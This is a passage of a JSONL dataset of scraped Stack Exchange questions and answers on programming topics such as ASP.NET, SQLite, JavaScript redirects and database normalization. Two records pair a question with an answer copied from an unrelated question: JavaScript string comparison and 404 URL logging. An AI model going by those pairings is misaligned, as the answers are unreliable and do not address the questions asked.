a project description file\n  hasn't been set error thrown by\n  .git/hooks/update. This error was not\n  happening for the same project on a\n  linux or Windows box, and seemed to be\n  happening only on Windows Vista. From\n  my research hooks/update is not by\n  default executed, but in windows vista\n  the file permissions meant that it\n  was. Deletion of hooks/update resolved\n  these issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.141611"}
{"id": "hf_84203a3ff876", "question": "<p>I'm using the MIDP 2.0 (JSR 118) and I just noticed that there is no reader for strings in J2ME.</p>\n\n<p>Does anyone know how you are supposed to read Strings from an <code>InputStream</code> or <code>InputStreamReader</code> in a platform independent way (i.e. between two java enabled cell phones of different models)?</p>\n", "question_body": "", "answer": "Which profile are you using? The MID profile in JSR 118 specifies\nInputStreamReader\n(not StringReader, but that wouldn't help you read from an InputStream anyway).\nEDIT: To reflect the change to the question :)\nYou use InputStreamReader.read(char[], int, int) and when you've read all you want to, create a new string from a char array. If you want to read a line at a time as you would from BufferedReader, you basically need to implement the functionality of BufferedReader yourself (keeping a buffer of \"read but not consumed\" chars) and keep reading until you hit a line break.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.215875"}
{"id": "hf_b7c3c2880175", "question": "<p>I don't understand it. </p>\n\n<p>The ids of html elements in the master page are changed by the same id but with a prefix and it's breaking the css design.</p>\n\n<p>In the master page I have:</p>\n\n<pre><code>&lt;div id=\"container\" runat=\"server\"&gt;\n\n    &lt;asp:ContentPlaceHolder ...\n\n...\n</code></pre>\n\n<p>The above code is rendered</p>\n\n<pre><code>&lt;div id=\"ctl00_ctloo_container\"&gt;\n\n     ...\n</code></pre>\n\n<p>And the CSS styles are gone obviously.</p>\n\n<p>How do I stop it?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "AFAIK you cannot do this. This is the default behaviour because of the control tree.\nIf you would like to use CSS then set the CSS class directly, don't depend on IDs, like\n```\n```\n<asp:Whatever runat=\"server\" id=\"whatever\" CssClass=\"whateverClass\">\n```\n```\nUpdate:\nHere\nis a similair thread, but it won't help on your CSS problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.241289"}
{"id": "hf_3c6212b69784", "question": "<p>I've read all the marketing speak about how mvc and webforms are complementary etc... </p>\n\n<p>However it seems that all the blogs talk about is mvc and the only news coming out is about mvc. </p>\n\n<p>Is Microsoft going to continue to IMPROVE webforms as a first class citizen or will it just be a supported technology as they move all their real efforts, developers and resources to mvc over time?</p>\n\n<p>Is there any real evidence of any new exciting improvements coming to webforms in the near future?</p>\n", "question_body": "", "answer": "I was at a conference (Remix 08) and Scott Gu said they will definatly be continuing to support both methods and that MVC was not appropriate for every application. Scott said there were a number of coming improvements for web forms model (although didnt say what they were).\nThe web forms model will not disapear because:\nWeb forms model is better for some types of applications, e.g. small apps, those requiring long processes that make use of view state useful\nMany applications are using it\nMany third party components developed for it\nASP.net implementation is not mature yet (although does seem pretty good so far)\nMicrosoft will probably announce a number of new features in PDC in a few weeks time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.278692"}
{"id": "hf_16930f808eaf", "question": "<p>i've never created a shopping cart, or forum in php. aside from viewing and analyzing another persons project or viewing tutorials that display how to make such a project or how to being such a project. how would a person know how to design the database structure to create such a thing? im guessing its probbably through trial and error...</p>\n", "question_body": "", "answer": "you should read up and understand the basics of\nnormalization\n. for most projects, normalizing to 3rd normal form will be just fine. there are always certain scenarios when you want more or less normalization, but understanding the concepts behind it will allow you to think about how your database is structured in a normalized format.\nhere's a very basic example of normalizing a table:\n```\n```\nstudents\n  student_id\n  student_name\n  student_class\n  student_grade\n```\n```\na pretty standard table containing various data, but we can see some issues right away. we can see that a student's name is dependant on his ID, however, a student may be involved in more than one class, and each class would conceivably have a different grade. we can then think about the tables as such:\n```\n```\nstudents\n  student_id\n  student_name\n\nclass\n  class_id\n  class_name\n```\n```\nthis is not bad, now we can see we have various students, and various classes, but we haven't captured the student's grades.\n```\n```\ngrades\n  student_id\n  class_id\n  grade\n```\n```\nnow we have a 3rd table, which allows us to understand the relation between a particular student, a particular class, and a grade associated with that class. from our first initial table, we now have 3 tables in a normalized database (let's assume we don't need to normalize grades any further for sake of example :) )\na few things we can glean from this very basic example:\nour data is all tied to a key of some sort (student_id, class_id, and student_id + class_id). these are unique identifiers within each table.\nwith our keyed relations, we're able to relate information to each other (how many classes is student #4096 enrolled in?)\nwe can see our tables will not contain duplicated data now (think about our first table, where student_class could be the same value for many students. if we had to change the class name, we'd have to update all the records. in our normalized format, we can just update class_name of class_id)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.303524"}
{"id": "hf_c2ac521ec96a", "question": "<p>How to create a table with a timestamp column that defaults to <code>DATETIME('now')</code>?</p>\n<p>Like this:</p>\n<pre><code>CREATE TABLE test (\n    id INTEGER PRIMARY KEY AUTOINCREMENT, \n    t TIMESTAMP DEFAULT DATETIME('now')\n);\n</code></pre>\n<p>This gives an error.</p>\n", "question_body": "", "answer": "As of\nversion 3.1.0\nyou can use\n```\nCURRENT_TIMESTAMP\n```\nwith the\nDEFAULT\nclause:\nIf the default value of a column is CURRENT_TIME, CURRENT_DATE or CURRENT_TIMESTAMP, then the value used in the new row is a text representation of the current UTC date and/or time. For CURRENT_TIME, the format of the value is \"HH:MM:SS\". For CURRENT_DATE, \"YYYY-MM-DD\". The format for CURRENT_TIMESTAMP is \"YYYY-MM-DD HH:MM:SS\".\n```\n```\nCREATE TABLE test (\n    id INTEGER PRIMARY KEY AUTOINCREMENT,\n    t TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.365392"}
{"id": "hf_52e1a0955799", "question": "<p>This is probably a very simple question, but what is the technical term for this class of language?  </p>\n\n<p>They use an \"intermediate\" assembly type language which is sent through the JVM or CLR.  They both are object oriented and they both depend on an intermediary such as the Java Virtual Machine or the Common Language Runtime to compile into native machine laguage.  </p>\n\n<p>Unlike Asm/C/C++ they don't compile directly into native machine language and require intensive memory allocation knowledge.  They both use garbage collection.  </p>\n\n<p>Is there a technical term which seperates Java and C# from C++?  </p>\n", "question_body": "", "answer": "A key difference between C++ and .NET/Java is the automatic reclaiming of memory that is no longer required.  This is known as\ngarbage collection\n.  For this property, they are known as\nmanaged\nplatforms.\nBoth Java/.NET delay the compilation of bytecode into native code until the last minute.  For this property they are known as\nJIT-compiled\n(Just In Time).\nThe C#/Java/C++ languages are known as\nimperative, object-oriented\nlanguages.\nThe type system in both .NET and Java only allows verifiable invocation of methods.  For this property they are known as\nstatically typed\n.\nC#/Java/C++ are\nTuring complete\n, meaning that, in practice, they can produce any calculation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.389946"}
{"id": "hf_f373c2752e19", "question": "<p>Does anybody knows why this snippet returns <code>false</code> even if the passed string is \"Active\"?</p>\n\n<pre><code>if ($('status_'+id).getText()==\"Active\")\n</code></pre>\n\n<p>I've also tried changing the code to</p>\n\n<pre><code>if ($('status_'+id).getText()==String(\"Active\"))\n</code></pre>\n\n<p>and</p>\n\n<pre><code>if (String($('status_'+id).getText())==\"Active\")\n</code></pre>\n\n<p>and still no luck.</p>\n\n<p>I've also checked <code>$('status_'+id).getText()</code> through <code>console.log</code> to verify if it really returns \"Active\"</p>\n\n<p>i wonder why it doesnt work?\nany ideas?</p>\n", "question_body": "", "answer": "A key difference between C++ and .NET/Java is the automatic reclaiming of memory that is no longer required.  This is known as\ngarbage collection\n.  For this property, they are known as\nmanaged\nplatforms.\nBoth Java/.NET delay the compilation of bytecode into native code until the last minute.  For this property they are known as\nJIT-compiled\n(Just In Time).\nThe C#/Java/C++ languages are known as\nimperative, object-oriented\nlanguages.\nThe type system in both .NET and Java only allows verifiable invocation of methods.  For this property they are known as\nstatically typed\n.\nC#/Java/C++ are\nTuring complete\n, meaning that, in practice, they can produce any calculation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.414653"}
{"id": "hf_81d8d57a037b", "question": "<p>I have created a custom installer dll &amp; everything is working fine.  I just want to call another installer's <code>Uninstall</code> method from my current installation.  When I do this, I get <code>error code 1618</code> (signifies another installer is already running).  However when I call the <code>uninstall</code> of the same product from a test project, it is working fine.</p>\n<p>Could anyone suggest a solution to this?</p>\n<p>Can I uninstall another application from the current installer?</p>\n", "question_body": "", "answer": "If this other product is your own (and hence you have access to what the installer should be doing), or you want to do something dirty, you could try removing the files/registry entries/etc yourself then unregistering the program in the registry (\n```\nHKEY_LOCAL(MACHINE|USER)\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{PROGRAM}\n```\n). Not really the greatest idea ever, but if you have access to what the installer should be doing, then it'll work for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.461977"}
{"id": "hf_6c4ec450bb8c", "question": "<p>I've never learnt JavaScript, but I imagine this is quite a simple problem. Just wanted to know which method is most advised these days.</p>\n", "question_body": "", "answer": "```\n```\n// use this to avoid redirects when a user clicks \"back\" in their browser\nwindow.location.replace('http://somewhereelse.com');\n\n// use this to redirect, a back button call will trigger the redirection again\nwindow.location.href = \"http://somewhereelse.com\";\n\n// given for completeness, essentially an alias to window.location.href\nwindow.location = \"http://somewhereelse.com\";\n```\n```\nedit\n: looks like the user who posted the better answer has left SO, i've consolidated his answers here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.485995"}
{"id": "hf_bf32076de101", "question": "<p>We are currently thinking of building a cache-system to hold data pulled out of an SQL database and make it available to a couple of other applications (website, webservice, etc). We imagine the cache to be running as a windows service and basically consist of a smart dictionary which holds the cache entries. My question is, is there a limit to the working set of the application (it will be running under windows server 2003)? Or is the amount of physical memory the limit?</p>\n", "question_body": "", "answer": "As with any other Windows program, you're limited by address space. That is: on 32-bit, you can have 2GB of address space. On x64, you can have 8TB.\nIf you don't have 8TB of physical memory, it will start to page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.509692"}
{"id": "hf_40ebde52653b", "question": "<p>Is there a way to select designtime packages on a project bases?</p>\n\n<p>Packages are very useful in large project to keep the build time acceptable, but they are a real pita in those large projects too. When one developer adds a new package, it breaks to build for all other until they install the new package on their machine. And then there is versioning of the packages ...</p>\n\n<p>So has anyone a proper solution for this? (it has been bothering me for years now)</p>\n", "question_body": "", "answer": "This is not easy too do.  You can do it though, with the use of a custom registry hack, and a specific bds shortcut per configuration you are interested in:\nTo use, just create a new shortcut and\n  modify the command line to pass e.g.\n  -rMyAlternateBDSReg. Then after launching that once, the reg entry is\n  created and they can configure that\n  alternate registry all they want,\n  deleting packages, etc, without\n  worrying about messing up the default\n  install.\nFrom\ncodegear\nIf you set up a configuration for each project, you can then start the appropriate shortcut for the given project.  It's not automatic, but it is better than having everything there all the time.\nA nice side effect is that the load times will be improved.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.535011"}
{"id": "hf_66a251f98291", "question": "<p>I want to filter two list with any fastest method in python script. I have used the built-in <code>filter()</code> method for this purpose. but it is quite slow and taking too much time because I have very big list, I think more than 5 million item in each list or may be more. \nI do not know how I will make it. Please if anybody have idea or write small function for it. </p>\n", "question_body": "", "answer": "I guess filter() is as fast as you can possibly get without having to code the filtering function in C (and in that case, you better code the whole filtering process in C).\nWhy don't you paste the function you are filtering on? That might lead to easier optimizations.\nRead\nthis\nabout optimization in Python. And\nthis\nabout the Python/C API.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.571841"}
{"id": "hf_d02688d668f5", "question": "<p>The CSS syntax highlighting in vim is not entirely optimal. For example: </p>\n\n<pre><code>div.special_class\n</code></pre>\n\n<p>stops the highlighting at the <code>_</code>. </p>\n\n<p>Is there an improved highlighter that doesn't bite on an underscore?</p>\n\n<p>Update:\nI'm using VIM - Vi IMproved 7.1 (2007 May 12, compiled Jun 17 2008 15:22:40)</p>\n\n<p>and the header of my css.vim is:</p>\n\n<pre><code>\" Vim syntax file\n\" Language:     Cascading Style Sheets\n\" Maintainer:   Claudio Fleiner &lt;claudio@fleiner.com&gt;\n\" URL:          http://www.fleiner.com/vim/syntax/css.vim\n\" Last Change:  2006 Jun 19\n\" CSS2 by Nikolai Weibull\n\" Full CSS2, HTML4 support by Yeti\n</code></pre>\n", "question_body": "", "answer": "What version of vim are you using?\nMy css.vim is\n```\n```\n\" Vim syntax file\n\" Language: Cascading Style Sheets\n\" Maintainer:   Claudio Fleiner <claudio@fleiner.com>\n\" URL:      http://www.fleiner.com/vim/syntax/css.vim\n\" Last Change:  2005 Nov 23\n\" CSS2 by Nikolai Weibull\n\" Full CSS2, HTML4 support by Yeti\n```\n```\nas shipped with vim 7.0, and it does not expose the behaviour you described.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.596399"}
{"id": "hf_bd13ea1f959b", "question": "<p>I need to model a system where by there will be a team who will consist of users who perform roles in the team and have skills assigned to them.</p>\n\n<p><em>i.e. a team A 5 members, one performs the team leader role, all perform the reply to\nemail role, but some have an extra skill to answer the phone</em></p>\n\n<p>I'm trying to determine how I can best model this. </p>\n\n<p>This problem must have been solved before, are there any good resources on how to model this?</p>\n\n<p>EDIT: I need to determine what a user is allowed to do, which could be because they are in a certain team, perform a certain role or have been assigned a certain skill</p>\n", "question_body": "", "answer": "Not really anything I've heard from, but it's simple enough to be solved in variety of ways.\nSo there's Teams, Members, Roles and Skills. Teams are just Member-containers and Member has roles and skills.\nHere's yet a small pseudo to give you the whole idea:\n```\n```\nclass Team\n    container[Member] members\n\nclass Member\n    container[Role] roles\n    container[Skill] skills\n```\n```\nThen you instantiate or subclass roles and skills, depending about what kind of things they are and the capabilities of your programming language.\n..In other hand, In practise it'd may make sense to make a Team -class similar to Role and Skill -class - a property of Member -class. If you need to find out things like what one member has access into.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.624712"}
{"id": "hf_59c9d2b0f06d", "question": "<p>What is meant by \"Constant Amortized Time\" when talking about time complexity of an algorithm?</p>\n", "question_body": "", "answer": "It means that over time, the worst case scenario will default to O(1), or constant time. A common example is the dynamic array. If we have already allocated memory for a new entry, adding it will be O(1). If we haven't allocated it we will do so by allocating, say, twice the current amount. This particular insertion will\nnot\nbe O(1), but rather something else.\nWhat is important is that the algorithm guarantees that after a sequence of operations the expensive operations will be amortised and thereby rendering the entire operation O(1).\nOr in more strict terms,\nThere is a constant c, such that for\nevery\nsequence of operations (also one ending with a costly operation) of\n  length L, the time is not greater than\n  c*L (Thanks\nRafał Dowgird\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.648932"}
{"id": "hf_f499a835e2e9", "question": "<p>I have two multidimensional arrays (well actually they're only 2D) which have inferred size. How do I deep clone them? Here's what I have gotten so far:</p>\n\n<pre><code>public foo(Character[][] original){\n    clone = new Character[original.length][];\n    for(int i = 0; i &lt; original.length; i++)\n          clone[i] = (Character[]) original[i].clone();\n}\n</code></pre>\n\n<p>A test for equality <code>original.equals(clone);</code> spits out a false. Why? :|</p>\n", "question_body": "", "answer": "You might want to check out the\njava.util.Arrays.deepEquals\nand\njava.util.Arrays.equals\nmethods.\nI'm afraid the\n```\nequals\n```\nmethod for array objects performs a shallow comparison, and does not properly (at least for this case) compare the inner\n```\nCharacter\n```\narrays.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.691239"}
{"id": "hf_6fd0dee7eb2d", "question": "<p>I'm rebuilding a site with a lot of incoming links, and the URL structure is completely changing. I'm using the stock mod_rewrite solution to redirect all old links to new pages.\nHowever, as I'm sure a few links will slip through the net, I've built a small script that runs on my custom 404 page, to log the incoming visitors' referrer URL. This will help me track down any broken links.</p>\n\n<p>In addition to referrer, is there also a way of logging the url that the user entered, or clicked that caused a 404? I ask this as referrer is obviously a bit 'hit &amp; miss'.</p>\n\n<p>I suspect not, but thought it worth a question.</p>\n", "question_body": "", "answer": "You might want to check out the\njava.util.Arrays.deepEquals\nand\njava.util.Arrays.equals\nmethods.\nI'm afraid the\n```\nequals\n```\nmethod for array objects performs a shallow comparison, and does not properly (at least for this case) compare the inner\n```\nCharacter\n```\narrays.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.715743"}
{"id": "hf_9d67e04a29e8", "question": "<p>I have been recommended <a href=\"http://www.heaventools.com/command-line_resource_editor.htm\" rel=\"nofollow noreferrer\">\"Resource Tuner console\"</a> but it's a little out of my price range.</p>\n\n<p>I'm looking for something that could be launched from a nant build script and told to stamp an exe with an additional property as described in my <a href=\"https://stackoverflow.com/questions/191812/how-can-i-create-a-custom-property-for-my-assembly\">previous question</a>.</p>\n", "question_body": "", "answer": "Hi my name is Archit and few monts age i felt for same question...\nNow,\nThere are many tools which will give you command line editing ,\nResource hacker : Free and good one,\nit provides scripting and saving resources go through help file where u get hell lot of examples about that ,\nby the way u only asked for cheap OR free utilities ,\nbut there are several tolls which can perform efficiently (not free one)\nif u want some more util call me ...\nand yes most of the paying resource editor tools provide command line editing free.....means u can download trail and go for cmd line editor absolutely free....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.765937"}
{"id": "hf_efff6c91c664", "question": "<p>I need to call a <a href=\"http://en.wikipedia.org/wiki/VBScript\" rel=\"noreferrer\">VBScript</a> file (.vbs file extension) in my C# Windows application.\nHow can I do this? </p>\n\n<p>There is an add-in to access a VBScript file \nin Visual Studio. \nBut I need to access the script in code behind. How to do this?</p>\n", "question_body": "", "answer": "The following code will execute a VBScript script with no prompts or errors and no shell logo.\n```\n```\nSystem.Diagnostics.Process.Start(@\"cscript //B //Nologo c:\\scripts\\vbscript.vbs\");\n```\n```\nA more complex technique would be to use:\n```\n```\nProcess scriptProc = new Process();\nscriptProc.StartInfo.FileName = @\"cscript\"; \nscriptProc.StartInfo.WorkingDirectory = @\"c:\\scripts\\\"; //<---very important \nscriptProc.StartInfo.Arguments =\"//B //Nologo vbscript.vbs\";\nscriptProc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; //prevent console window from popping up\nscriptProc.Start();\nscriptProc.WaitForExit(); // <-- Optional if you want program running until your script exit\nscriptProc.Close();\n```\n```\nUsing the\n```\nStartInfo\n```\nproperties will give you quite granular access to the process settings.\nYou need to use\nWindows Script Host\nif you want windows, etc. to be displayed by the script program. You could also try just executing\n```\ncscript\n```\ndirectly but on some systems it will just launch the editor :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.791267"}
{"id": "hf_be416e02b912", "question": "<p>I've tried a couple of approaches to update a column in a mySQL database table from another table but am not having any luck. </p>\n\n<p>I read somewhere that version 3.5.2 does not support multi-table updates and I need a code-based solution - is that correct?</p>\n\n<p>If not can anybody point me in the right direction using sql? </p>\n\n<pre><code>UPDATE products SET products_ordered = (\n    SELECT SUM(products_quantity) \n    FROM orders_products \n    WHERE products_id = products.products_id\n);\n</code></pre>\n\n<p>or:</p>\n\n<pre><code>Create temporary table my_temp_table\nas\nSELECT products_id, SUM(products_quantity) as total \nFROM orders_products \nGROUP BY products_id \n\nUPDATE products, my_temp_table\nSET products.products_ordered = my_temp_table.total \nWHERE products.products_id = my_temp_table.products_id\n</code></pre>\n", "question_body": "", "answer": "Multi-table updates are not support in MySQL <= 4.0.4\nI would highly recommend to update your server to MySQL 5.0.xx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.815846"}
{"id": "hf_46049cbe9a9d", "question": "<p>I'm sorry for this very newbish question, I'm not much given into web development. I've got this cool JavaScript in a .js file that we want to use on a small web site. (It's a script to run Cooliris on it).</p>\n\n<p>How do use the .js file or attach it to my HTML code?</p>\n", "question_body": "", "answer": "```\n```\n<script type=\"text/javascript\" src=\"myfile.js\"></script>\n```\n```\nUsually inserted in the <head> tag. After that, it depends wether or not your script need additional initialization or customisation to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.840245"}
{"id": "hf_91705d7ca074", "question": "<p>Does anybody know a good and free add-in for Visual Studio 2005 to get refactoring features in VB?</p>\n", "question_body": "", "answer": "I could not recommend a free one but\nReSharper\nwill do the trick. If you're not planning to use it for commercial work it costs peanuts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.889742"}
{"id": "hf_bde78740199a", "question": "<p>What is the technical difference between a process and a thread?</p>\n\n<p>I get the feeling a word like 'process' is overused and there are also hardware and software threads. How about light-weight processes in languages like <a href=\"http://en.wikipedia.org/wiki/Erlang_%28programming_language%29\" rel=\"noreferrer\">Erlang</a>? Is there a definitive reason to use one term over the other?</p>\n", "question_body": "", "answer": "Both processes and threads are independent sequences of execution. The typical difference is that threads (of the same process) run in a shared memory space, while processes run in separate memory spaces.\nI'm not sure what \"hardware\" vs \"software\" threads you might be referring to. Threads are an operating environment feature, rather than a CPU feature (though the CPU typically has operations that make threads efficient).\nErlang uses the term \"process\" because it does not expose a shared-memory multiprogramming model. Calling them \"threads\" would imply that they have shared memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.939665"}
{"id": "hf_6931a02923c8", "question": "<p>Let's say I have a class</p>\n\n<pre><code>public class ItemController:Controller\n{\n    public ActionResult Login(int id)\n    {\n        return View(\"Hi\", id);\n    }\n}\n</code></pre>\n\n<p>On a page that is not located at the Item folder, where <code>ItemController</code> resides, I want to create a link to the <code>Login</code> method. So which <code>Html.ActionLink</code> method I should use and what parameters should I pass?</p>\n\n<p>Specifically, I am looking for the replacement of the method </p>\n\n<pre><code>Html.ActionLink(article.Title,\n    new { controller = \"Articles\", action = \"Details\",\n          id = article.ArticleID })\n</code></pre>\n\n<p>that has been retired in the recent ASP.NET MVC incarnation. </p>\n", "question_body": "", "answer": "```\n```\nHtml.ActionLink(article.Title, \"Login/\" + article.ArticleID, 'Item\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.977274"}
{"id": "hf_2cf9251e03c6", "question": "<p>I am working on writing a Highly Available agent for JBoss Application Server to run on Solaris Open HA Cluster. As I don't know much of the JBoss AS, can someone please tell me how can I probe the status of the application server?</p>\n\n<p>I want to know the health of the application server, for example whether it is currently running or not.</p>\n", "question_body": "", "answer": "Out of the box, JBoss has a JMX console that provides information about the modules loaded into the micro-kernel and the services that are running.  This application is usually available at\nhttp://hostname:8080/jmx-console\n, and you could conceivably use its presence or absence as an indicator of whether your JBoss server is running.\nIn the context of an HA cluster, you probably have a load balancing switch or other layer4-7 aware device in front of the nodes.  If you want to detect the status of each node in the cluster, you'll need to make sure your using the node's local IP address.\nOf course, most of the processes that run in the micro-kernel are JMX enabled ... if you want to know the status of an individual process, just ask it!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.002141"}
{"id": "hf_bb2f7667e082", "question": "<p>How would I set an image to come from a theme directory (my theme changes so I don't want to directly reference) I am sure this is possible but every example I find doesn't seem to work. They are usually along the lines of:</p>\n\n<p>asp:image ID=\"Image1\" runat=\"server\" ImageUrl=\"~/Web/Mode1.jpg\" /</p>\n\n<p>where Web would be a sub directory in my themes folder. Suggesting the theme directory would be added at runtime.</p>\n", "question_body": "", "answer": "Not sure if I understood your question right, but if you have an image in a skin file, such as the following, it will come by default from the theme folder:\n```\n```\n<asp:Image runat=\"server\" ImageUrl=\"filename.ext\" />\n```\n```\nIf you want it to come from a subfolder Web of the theme folder, use a relative path:\n```\n```\n<asp:Image runat=\"server\" ImageUrl=\"Web/filename.ext\" />\n```\n```\nYour example specifies a subfolder of the application root directory:\n```\n```\n<asp:image ID=\"Image1\" runat=\"server\" ImageUrl=\"~/Web/Mode1.jpg\"/>\n```\n```\nSee\nthe MSDN page on themes and skins\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.064480"}
{"id": "hf_ede17b7e4228", "question": "<p>Does anybody have a keybinding scheme similar to VS 2005 available for Eclipse?</p>\n\n<p>How to import it into preferences of Eclipse (I see only export button).</p>\n", "question_body": "", "answer": "I don't have a VS2005 keybinding scheme as I personally prefer a Brief-style scheme.\nHowever, to import \"it\", as far as I know (at least on Eclipse 3.4 Ganymede) use File -> Import -> General -> Preferences where \"it\" is a .prf file which has been saved out using File -> Export -> General -> Preferences.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.104488"}
